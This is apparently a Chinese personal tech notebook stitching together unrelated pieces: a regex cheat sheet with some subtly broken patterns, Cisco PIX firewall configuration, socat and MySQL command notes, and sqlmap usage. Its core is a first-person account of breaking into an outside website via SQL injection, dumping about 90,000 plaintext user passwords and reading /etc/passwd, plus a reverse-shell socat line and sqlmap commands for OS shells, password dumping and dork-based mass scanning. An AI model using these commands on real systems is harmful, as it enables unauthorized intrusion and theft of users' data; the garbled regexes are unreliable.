0%

正则表达式用于字符串处理、表单验证等场合,实用高效。现将一些常用的表达式收集于此,以备不时之需。
匹配中文字符的正则表达式: [\u4e00-\u9fa5]
评注:匹配中文还真是个头疼的事,有了这个表达式就好办了

匹配双字节字符(包括汉字在内):[^\x00-\xff]
评注:可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)

匹配空白行的正则表达式:\n\s*\r
评注:可以用来删除空白行

匹配HTML标记的正则表达式:<(\S*?)[^>]>.?</\1>|<.*? />
评注:网上流传的版本太糟糕,上面这个也仅仅能匹配部分,对于复杂的嵌套标记依旧无能为力

匹配首尾空白字符的正则表达式:^\s*|\s*$
评注:可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式

匹配Email地址的正则表达式:\w+([-+.]\w+)*@\w+([-.]\w+).\w+([-.]\w+)
评注:表单验证时很实用

匹配网址URL的正则表达式:[a-zA-z]+://[^\s]*
评注:网上流传的版本功能很有限,上面这个基本可以满足需求

匹配帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
评注:表单验证时很实用

匹配国内电话号码:\d{3}-\d{8}|\d{4}-\d{7}
评注:匹配形式如 0511-4405222 或 021-87888822

匹配腾讯QQ号:[1-9][0-9]{4,}
评注:腾讯QQ号从10000开始

匹配中国邮政编码:[1-9]\d{5}(?!\d)
评注:中国邮政编码为6位数字

匹配身份证:\d{15}|\d{18}
评注:中国的身份证为15位或18位

匹配ip地址:\d+.\d+.\d+.\d+
评注:提取ip地址时有用

匹配特定数字:
^[1-9]\d*$    //匹配正整数
^-[1-9]\d*$   //匹配负整数
^-?[1-9]\d*$   //匹配整数
^[1-9]\d*|0$  //匹配非负整数(正整数 + 0)
^-[1-9]\d*|0$   //匹配非正整数(负整数 + 0)
^[1-9]\d.\d|0.\d*[1-9]\d*$   //匹配正浮点数
^-([1-9]\d.\d|0.\d*[1-9]\d*)$  //匹配负浮点数
^-?([1-9]\d.\d|0.\d*[1-9]\d*|0?.0+|0)$  //匹配浮点数
^[1-9]\d.\d|0.\d*[1-9]\d*|0?.0+|0$   //匹配非负浮点数(正浮点数 + 0)
^(-([1-9]\d.\d|0.\d*[1-9]\d*))|0?.0+|0$  //匹配非正浮点数(负浮点数 + 0)
评注:处理大量数据时有用,具体应用时注意修正

匹配特定字符串:
^[A-Za-z]+$  //匹配由26个英文字母组成的字符串
^[A-Z]+$  //匹配由26个英文字母的大写组成的字符串
^[a-z]+$  //匹配由26个英文字母的小写组成的字符串
^[A-Za-z0-9]+$  //匹配由数字和26个英文字母组成的字符串
^\w+$  //匹配由数字、26个英文字母或者下划线组成的字符串

Cisco PIX 506E防火墙是应用极为广泛的Cisco PIX506防火墙的增强版本,可以通过一个可靠的、强大的安全设备为远程办公室和分支机构提供企业级的安全性。Cisco PIX506E防火墙是市场领先的CiscoPIX防火墙系列的一部分,可以通过一个经济有效的、高性能的解决方案提供丰富的安全功能和强大的远程管理功能,尤其适用于为远程/分支机构保障互联网连接。PIX 506E还提供了更高的3DES VPN性能,在使用某些应用时,性能比PIX 506高出70%。
针对远程办公室/分支机构环境的企业级安全性
Cisco PIX506E防火墙是一种针对特定需求而设计的安全设备,可以在单独的一个设备中提供丰富的安全服务,包括状态监测防火墙、虚拟专用网(VPN)和入侵防范等。利用思科最新的自适应安全算法(ASA)和PIX操作系统,PIX506E可以确保其后的所有用户的安全,并可以帮助他们防范互联网的潜在威胁。它的功能强大的状态监测技术可以跟踪所有经过授权的用户的网络请求,防止未经授权的网络访问。利用PIX 506E灵活的访问控制功能,管理员还可以对经过防火墙的网络流量实施定制的策略。PIX506E与您的后端企业数据库无缝集成,因此可以通过直接使用TACACS/RADIUS或间接使用Cisco安全访问控制服务器(ACS)对外部对网络资源的访问进行严格的验证。
Cisco PIX506E防火墙还可以利用其基于标准的互联网密钥交换(IKE)/IP安全(IPSec)VPN功能,确保远程办公机构通过互联网与企业网络之间进行的所有网络通信的安全。通过利用56位数据加密标准(DES)或者可选的高级168位三重DES(3DES)加密对数据进行加密,当您的敏感企业数据安全地在互联网中传输时,别人将无法窥探到它们。
PIX 506E的集成化的入侵防范功能可以防止您的网络受到各种常见的攻击。通过查找超过55种不同的攻击”签名”,PIX可以严格检测各种攻击,并可以实时地阻截它们或者向您发出通知。
强大的远程管理功能
Cisco PIX506E是一个可靠的、便于维护的平台,可以提供多种配置、监控和诊断方式。PIX管理解决方案的范围非常广泛――从一个集成化的、基于Web的管理工具到集中的、基于策略的工具,以及对各种远程监控协议的支持,例如简单网络管理协议(SNMP)和系统日志。
PIX设备管理器(PDM)可以为管理员提供一个直观的、基于Web的界面,从而使他们可以方便地配置和监控一台PIX 506E,而不需要在管理员的计算机上安装任何软件(除了一个标准的Web浏览器以外)。管理员可以利用PIX506E所提供的命令行界面(CLI),通过多种方式(包括远程登陆、安全解释程序(SSH),以及通过控制端口实现的带外接入)对PIX506E进行远程配置、监控和诊断。
管理员还可以通过CiscoVPN/安全管理解决方案(VMS)中提供的Cisco安全策略管理器(CSPM)方便地对很多PX 506E防火墙进行远程管理。CSPM3.0是一种可扩展的、下一代的PIX防火墙集中管理解决方案,具有多种功能,包括基于任务的接口、交互式网络拓扑图、策略向导、策略输出功能等等。

打开某端口给某台机器(假设IP为1.1.1.1):
conduit permit tcp host 1.1.1.1 eq 2000 any any
查看端口打开状态,应该用show static吧,记不清了。

以下是pix506的基本配置:

1、 给PIX506接上电源,并打开电脑主机。
2、 将CONSOLE口连接到主机的串口上,运行Hyperterminal程序,从CONSOLE口进入PIX系统。
3、 进入特权模式
PIX> enable
PIX#
4、 进入全局控制模式并设置密码
PIX#configure terminal
PIX(config)#passwd chenhong
5、 更改PIX主机名并设置允许TELNET PIX的地址范围
PIX(config)#hostname MFPIX
MFPIX (config)#telnet 10.8.0.0 255.255.254.0 inside
6、 配置以太口参数,将所有端口(E0、E1)设置为自适应网卡类型。
MFPIX (config)#interface ethernet0 auto
MFPIX (config)#interface ethernet1 auto
7、 指定内外部接口,并指定安全级别(默认Ethernet0为外网接口,Ethernet1为内网接口,因此一般情况下,不建议更改,省倒此步)。
MFPIX (config)#nameif e0 outside security0
MFPIX (config)#nameif e1 outside security100
8、 配置内部和外部接口IP地址
MFPIX (config)#ip address inside 192.168.2.1 255.255.255.252
MFPIX (config)#ip address outside 211.96.81.30 255.255.255.240
9、 指定一个外部IP地址或地址范围
MFPIX (config)#global (outside) 1 211.96.81.18-211.96.81.29
10、定义内定需要进行地址转换的IP地址范围
MFPIX (config)#nat (inside) 1 10.8.0.0 255.255.254.0
MFPIX (config)#nat (inside) 1 10.8.6.0 255.255.192.0
MFPIX (config)#nat (inside) 1 10.8.7.0 255.255.192.0
MFPIX (config)#nat (inside) 1 10.8.8.0 255.255.224.0
11、给内部某个主机配置一个静态的公网IP地址
MFPIX (config)#static (inside,outside) 211.96.81.20 10.8.0.9
MFPIX (config)#static (inside,outside) 211.96.81.21 10.8.0.79
12、设置指向内网和外网的缺少路由
MFPIX (config)#route outside 0.0.0.0 0.0.0.0 211.96.81.17
MFPIX (config)#route inside 10.8.0.0 255.255.254.0
MFPIX (config)#route inside 10.8.6.0 255.255.255.192
MFPIX (config)#route inside 10.8.7.0 255.255.255.192
MFPIX (config)#route inside 10.8.8.0 255.255.255.224
13、设置控制选项
发布WEB、邮件服务器
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq www any
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq smpt any
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq pop3 any
MFPIX (config)#conduit permit tcp host 211.96.81.21 eq 3389 any
允许内外部PING内部部和外部主机
MFPIX (config)#conduit permit icmp any any
14、基本设置完毕

sqlmap是个sql注入扫描工具,python语言写的,刚好自己对这个比较感兴趣,下载下来看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过google查询来找到有sql注入的网站,不过python中使用www.google.com ,
对中国的用户会出错,找到源代码,   位于lib/utils/google.py ,替换成 www.google.com.hk 就可以了。
example: python sqlmap.py -g “allinurl: php?id=”

对一个网站,找到一个注入: http://www.xxxx.net/userdetail.mpl?userid=133677

python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677
找到数据库 mysql ,apache服务。
查看当前mysql用户
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –current-user
查看数据库
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –current-db
查看用户权限,运气好,root为管理员,接下来就简单了。
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –privileges
查看表名
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –tables
找到用户表,users ,下载
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“  –dbms=mysql –dump -T “users

下载后,可以看到所有用户,有9万条数据密码居然不加密,找到admin  和密码。

登陆网页界面,没有管理界面,上传不了webshell
扫描该网站开放端口: 80 ,22,3306
尝试用该密码登陆ssh ,不行。
直接mysql登陆,成功 。
接下来就是mysql提权了,不过mysql不是root用户运行,权限不够,mysql 5.1版本,UDF 用不了 。
只能利用 mysql 的load data in file 尝试获取系统信息:
登陆mysql后:
use  dnnamexxx;
create table test (t varchar(3000));
load data infile ‘/etc/passwd’ into table test ;
select * from test ;
成功出来用户信息 ,用同样的方法获取shadow ,失败,权限不够。

用sqlmap 直接下载系统文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/my.cnf
下载mysql配置文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/httpd/conf/httpd.conf

功夫不负有心人 ,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用perl ,不熟悉,暂时先到这里。

总结: 可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到root 。

nginx -s  reload

linux:

socat TCP4-LISTEN:188,reuseaddr,fork TCP4:192.168.1.22:123 &

(在本地监听188端口,并将请求转发至192.168.1.22的123端口)

windows:

cmd:> socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.1.22:3389

TCP4-LISTEN:在本地建立的是一个TCP ipv4协议的监听端口;
reuseaddr:绑定本地一个端口;
fork:设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听

socat启动监听模式会在前端占用一个shell,因此需使其在后台执行。
socat -d -d tcp4-listen:8900,reuseaddr,fork tcp4:10.5.5.10:3389 # 端口转发

server : socat exec:/bin/sh  tcp4:x.x.x.x:999
client: socat tcp-listen:999 - # 服务端开启sh终端,显示到客户端
socat -d -d tcp4-listen:8901,reuseaddr,fork tcp4:10.120.0.208:3389
socat -d -d tcp4-listen:8903,reuseaddr,fork tcp4:10.5.5.10:1433

ssl tunnel :
server :socat tcp-listen:8888 ,reuseaddr,fork , tcp4:10.0.0.client
client :socat tcp4:10.0.0.server tcp-connect:hostname:8888

tun: 创建两个服务器和客户端之间一条通道
socat -d -d tcp-listen:9999,reuseaddr tun:10.0.0.1/23,up #server
socat socat tcp:x.x.x.x:9999 tun:10.0.0.2/24 ,up

&nbsp;


说起来有点土,事到如今才第一次用socat.
不过今天看了一眼,netcat(nc)这东西ms已经N年没有人维护了.最先有个叫nc110的东西,由于太普及, 以至于人们都不想再去改动它的功能.结果导致多年来没有任何进步…现任的RHEL5里面好像也是由nc110改出来的.另外分支出来一个netcat,这个在google上直接netcat最容易出来,但也好多年没有人动过了…由于这些情况,才使得socat应运而生.虽然它已经生了好多年了,不过我才认识…
用socat试几个netcat常用的用法,对比如下:

  1. 听tcp 12345端口

nc -l 127.0.0.1 12345

socat tcp-listen:12345 -

  1. 向远处tcp 12345端口发点字

echo “test” | nc 127.0.0.1 12345

echo “test” | socat - tcp-connect:127.0.0.1:12345

  1. 听udp 23456端口

nc -u -l 127.0.0.1 23456

socat udp-listen:23456 -

  1. 向远处udp 23456端口发点字

echo “test” | nc -u 127.0.0.1 23456

echo “test” | socat - udp-connect:127.0.0.1:23456

  1. 听unix socket /tmp/unix.socket

nc -U -l /tmp/unix.socket

netcat没有-U选项

socat unix-listen:/tmp/unix.socket -

  1. 向本地unix socket /tmp/unix.socket发点字

echo “test” | nc -U /tmp/unix.socket

netcat没有-U选项

echo “test” | socat - unix-connect:/tmp/unix.sock

  1. 听本地unix datagram socket /tmp/unix.dg.sock
    nc110搞不定,netcat也搞不定

socat unix-recvfrom:/tmp/unix.dg.sock -

  1. 向本地unix datagram socket /dev/log发点字
    nc110搞不定,netcat也搞不定

echo “test” | socat - unix-sendto:/tmp/unix.dg.sock

&nbsp;

----------第二篇放一起了-------
linux下实现UDP端口映射
原文链接: http://www.hiadmin.com/?tag=socat

一、实际问题
snmp监听端口默认为UPD 161,当监控服务器无法直接访问时,就需要用到端口映射来解决!
同样问题还有dns服务器的UPD 53端口。
二、使用nc来映射UPD端口
假设被监控服务器的IP为192.168.1.1;用于端口映射的主机为某个公网IP如59.1.1.1;需要映射的端口为UDP 161转发端口设为1161(自定义建议1024以上端口)
在端口映射服务器上操作,要安装nc,一般系统都会安装;
【注:nc存在安全漏洞,一定要设定防火墙】
首先使用mkfifo建立管道文件
#mkfifo /tmp/snmpfifo
通过nc建立端口映射 -l为监听模式 -u为UDP -p为本地端口;将内网监控161端口映射到本地的1161端口上;
#nc -l -u -p 1161 < /tmp/snmpfifo | nc -u 192.168.1.1 161 > /tmp/snmpfifo
查看netstat 1161是否监听
#netstat -nlp |grep :1161
udp 0 0 0.0.0.0:1161 0.0.0.0:* 31472/nc

在监控服务器上进行测试是否能采集到数据:
IF-MIB::ifIndex.1 = INTEGER: 1
IF-MIB::ifIndex.2 = INTEGER: 2
IF-MIB::ifIndex.3 = INTEGER: 3
IF-MIB::ifIndex.4 = INTEGER: 4
IF-MIB::ifDescr.1 = STRING: lo
IF-MIB::ifDescr.2 = STRING: eth0
….
#snmpwalk -c public -v2c 59.1.1.1:1161 if

设定成功;这里存在一个问题就是nc监听的端口每次一连接就会挂起,采取一个比较笨的办法就是写个restart.sh脚本放在crontab中每分钟执行一次;
产生该问题的主要原因我在下面讲socat的时候会分析的;
针对snmp采集这样是没有问题,如果dns服务就不行啦!
三、采用nc升级版本的socat来实现UDP端口映射
软件包下载地址:http://www.dest-unreach.org/socat/download/
安装无非就是configure make make install
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等
这里不一一介绍啦!
有兴趣可以查看官方文档:http://www.dest-unreach.org/socat/doc/socat.html
我们说说如何使用socat建立UPD端口映射
#socat udp4-listen:11161,reuseaddr,fork UDP:[监控服务器IP]:161
udp4-listen:在本地建立的是一个udp ipv4协议的监听端口;
reuseaddr,绑定本地一个端口;
fork,设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听;

【注:nc就是因为缺少fork模式,所以每次监听只能处理一次连接】
socat是一个强大的软件,希望与有这方面需求的同仁一起学习这个好的工具!
ps:无论是nc方式还是socat方式,启动监听模式都是在前端占用一个shell,所以请在后台执行或者使用screen工具等等!

&nbsp;

附:
socat官方文档:http://www.dest-unreach.org/socat/doc/socat.html


socat是一個netcat(nc)的替代產品,可以稱得上nc++。socat的特點就是在兩個流之間建立一個雙向的通道。socat的地址類型很 多,有ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,等等。看一個例子:

c:&gt;socat - tcp:192.168.1.18:80

這個命令等同於 nc 192.168.1.18 80。 socat裡面,必須有兩個流,所以第一個參數-代表標準的輸入輸出,第二個流連接到192.168.1.18的80端口。再看一個反向telnet的例子:

on server:
c:&gt;socat tcp-listen:23 exec:cmd,pty,stderr

這個命名把cmd綁定到端口23,同時把cmd的Stderr重定向到stdout。

on client:
c:&gt;socat readline tcp:server:23

連接到服務器的23端口,即可獲得一個cmd shell。readline是gnu的命令行編輯器,具有歷史功能。

再看文件傳遞的例子。nc也經常用來傳遞文件,但是nc有一個缺點,就是不知道文件什麼時候傳完了,一般要用Ctrl+c來終止,或者估計一個時間,用-w參數來讓他自動終止。用socat就不用這麼麻煩了:

on host 1:
c:&gt;socat -u open:myfile.exe,binary tcp-listen:999

on host 2:
c:&gt;socat -u tcp:host1:999 open:myfile.exe,create,binary

這個命令把文件myfile.exe用二進制的方式,從host 1 傳到host 2。-u 表示數據單向流動,從第一個參數到第二個參數,-U表示從第二個到第一個。文件傳完了,自動退出。

再來一個大家喜歡用的例子。在一個NAT環境,如何從外部連接到內部的一個端口呢?只要能夠在內部運行socat就可以了。

外部:
c:&gt;socat tcp-listen:1234 tcp-listen:3389

內部:
c:&gt;socat tcp:outerhost:1234 tcp:192.168.12.34:3389

這樣,你外部機器上的3389就影射在內部網192.168.12.34的3389端口上。

socat還具有一個獨特的讀寫分流功能,比如:

c:&gt;socat open:read.txt!!open:write.txt,create,append tcp-listen:80,reuseaddr,fork

這個命令實現一個假的web server,客戶端連過來之後,就把read.txt裡面的內容發過去,同時把客戶的數據保存到write.txt裡面。”!!”符號用戶合併讀寫流,前面的用於讀,後面的用於寫。

&nbsp;

1 导入数据到远程数据库:
直接执行文件中sql语句
cmd> mysql -h 182.50.133.140 -u root  -p databasename < “c:/tmp/da.sql”

进入mysql 控制命令行

cmd> mysql -h 182.50.133.140 -u root  -p

show databases;

use  mydatabase;

show tables ;

select * from users limit 1,3;

mysqldump -u backup -p 123456 -h 192.168.1.2  backup_test  > D:\bak\bakcup.sql

在命令行中导入本地数据文件,以’#’分割字段
mysql>load data local  infile ‘c:/tmp/renrentest.txt’ into table openkavaadmin.renrentest fields terminated by ‘#’

>

use databasename;

create table test(t varchar(2000));

load data infile ‘/etc/ssh/ssh_config’ into  table test;

select * into outfile ‘/tmp/t.txt’ from test;

&nbsp;

如果您不指定FIELDS子句,则默认值为假设您写下如下语句时的值:
FIELDS TERMINATED BY ‘\t’ ENCLOSED BY ‘’ ESCAPED BY ‘\‘

mysqlimport 导入数据
cmd>mysqlimport -C  -h 182.50.133.140 -u openkavaadmin -p  openkavaadmin -L c:/tmp/t.txt

命令行下具体用法如下: 

mysqldump -u用戶名 -p密码 -d 数据库名 表名 > 脚本名;

&nbsp;

&nbsp;

导出整个数据库结构和数据 mysqldump -h localhost -uroot -p123456 database > dump.sql

 

导出单个数据表结构和数据 mysqldump -h localhost -uroot -p123456  database table > dump.sql

 

&nbsp;

导出整个数据库结构(不包含数据)
mysqldump -h localhost -uroot -p123456  -d database > dump.sql

&nbsp;

导出单个数据表结构(不包含数据)
mysqldump -h localhost -uroot -p123456  -d database table > dump.sql

 

参考:
http://dev.mysql.com/doc/refman/5.1/zh/sql-syntax.html#load-data
http://database.51cto.com/art/200510/8105.htm
http://blog.csdn.net/adparking/article/details/6676571

GIT source : https://github.com/sqlmapproject/sqlmap

&nbsp;

帮助:
sqlmap -h

***基本步骤
sqlmap -u “http://url/news?id=1“ –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称

sqlmap -u “http://www.xxoo.com/news?id=1“ –level=3 –smart –dbms “Mysql” –current-db  #获取当前数据库名称

sqlmap -u “http://www.xxoo.com/news?id=1“ –level=3 –smart –dbms “Mysql”–tables  -D “db_name” #列表名

sqlmap -u “http://url/news?id=1“ –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段

sqlmap -u “http://url/news?id=1“ –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #获取字段内容

信息获取

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –users  #列数据库用户

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs#列数据库

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–passwords #数据库用户密码

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–passwords-U root  -v 0 #列出指定用户数据库密码

sqlmap -u “http://url/news?id=1“  –dbms “Mysql”  –dump -C “password,user,id” -T “tablename” -D “db_name” –start 1 –stop 20  #列出指定字段,列出20条

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–privileges #查看权限

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–privileges -U root #查看指定用户权限

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –roles #枚举数据库用户角色

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–union-cols #union 查询表记录

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”-b #获取banner信息

sqlmap -u “http://url/news?id=1“ –data “id=3”  #post注入

sqlmap -u “http://url/news?id=1“ –level=3 –smart-v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1“ –level=3 –smart–proxy”http://127.0.0.1:8118“ #代理注入

sqlmap -u “http://url/news?id=1"--string"STRING_ON_TRUE_PAGE“  #指定关键词

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–sql-shell #执行指定sql命令

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–file /etc/passwd

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-shell #系统交互shell

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-pwn #反弹shell

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–reg-read #读取win系统注册表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs  -o “sqlmap.log” –resume  #恢复已保存进度

sqlmap -g “google语法” –dump-all –batch  #google搜索注入点自动 跑出所有字段

攻击实例:

sqlmap -u “http://url/news?id=1&Submit=Submit“ –cookie=”PHPSESSID=41aa833e6d0d

28f489ff1ab5a7531406” –string=”Surname” –dbms=mysql –users –password

&nbsp;


&nbsp;

sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //执行SQL语句

sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更详细的信息

load options from a configuration INI file

sqlmap -c sqlmap.conf

使用POST方法提交

sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1

使用referer欺骗

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 -a “./txt/user-agents.txt

使用基本认证

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass” -v 3

使用Digest认证

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1″ –auth-type Digest –auth-cred “testuser:testpass” -v 3

使用代理,配合TOR

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″proxyhttp://192.168.1.47:3128″

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″proxyhttp://192.168.1.47:8118″

使用多线程猜解

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 –current-user –threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 1 -p “id

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2″ -v 1 -p “cat,id”

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/ua_str.php” -v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”

指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms “PostgreSQL

* MySQL
  • Oracle

PostgreSQL

  • Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –os “Windows”

  • Linux

  • Windows

自定义payload

Options: –prefix and –postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injectionpayload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = “SELECT * FROM users WHERE id=(‘” . $_GET['id'] . “‘) LIMIT 0, 1″;:

$ python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1″ -v 3 -p “id” –prefix “‘” –postfix “AND ‘test’='test”

[…]

[hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis

[hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’

[hh:mm:16] [TRAFFIC OUT] HTTP request:

GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20

%28%27test%27=%27test HTTP/1.1

Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7

Host: 192.168.1.121:80

Accept-language: en-us,en;q=0.5

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,/;q=0.5

User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)

Connection: close

[…]

[hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable

[…]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1′) AND 7433=7433 AND (‘test’=’test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=(’1′) AND 7433=7433 AND (‘test’=’test’) LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –string “luther” -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –regexp “ lu[\w][\w]er” -v

排除网站的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –excl-reg “Dynamic content: ([\d]+)”

多语句测试,php内嵌函数mysql_query(),不支持多语句

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –stacked-test -v 1

union注入测试

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –union-test -v 1

unionz注入配合orderby

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1″ –union-test –union-tech orderby -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 –union-use –banner

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 5 –union-use –current-user

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1″ -v 1 –union-use –dbs

fingerprint

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 -f

python sqlmap.py -u “http://192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b

判断当前用户是否是dba

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –is-dba -v 1

列举数据库用户

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –users -v 0

列举数据库用户密码

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –passwords -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –passwords -U sa -v 0

查看用户权限

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –privileges -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –privileges -U postgres -v 0

列数据库

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dbs -v 0

列出指定数据库指定表的列名

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump -T users -D master -C surname -v 0

指定列的范围从2-4

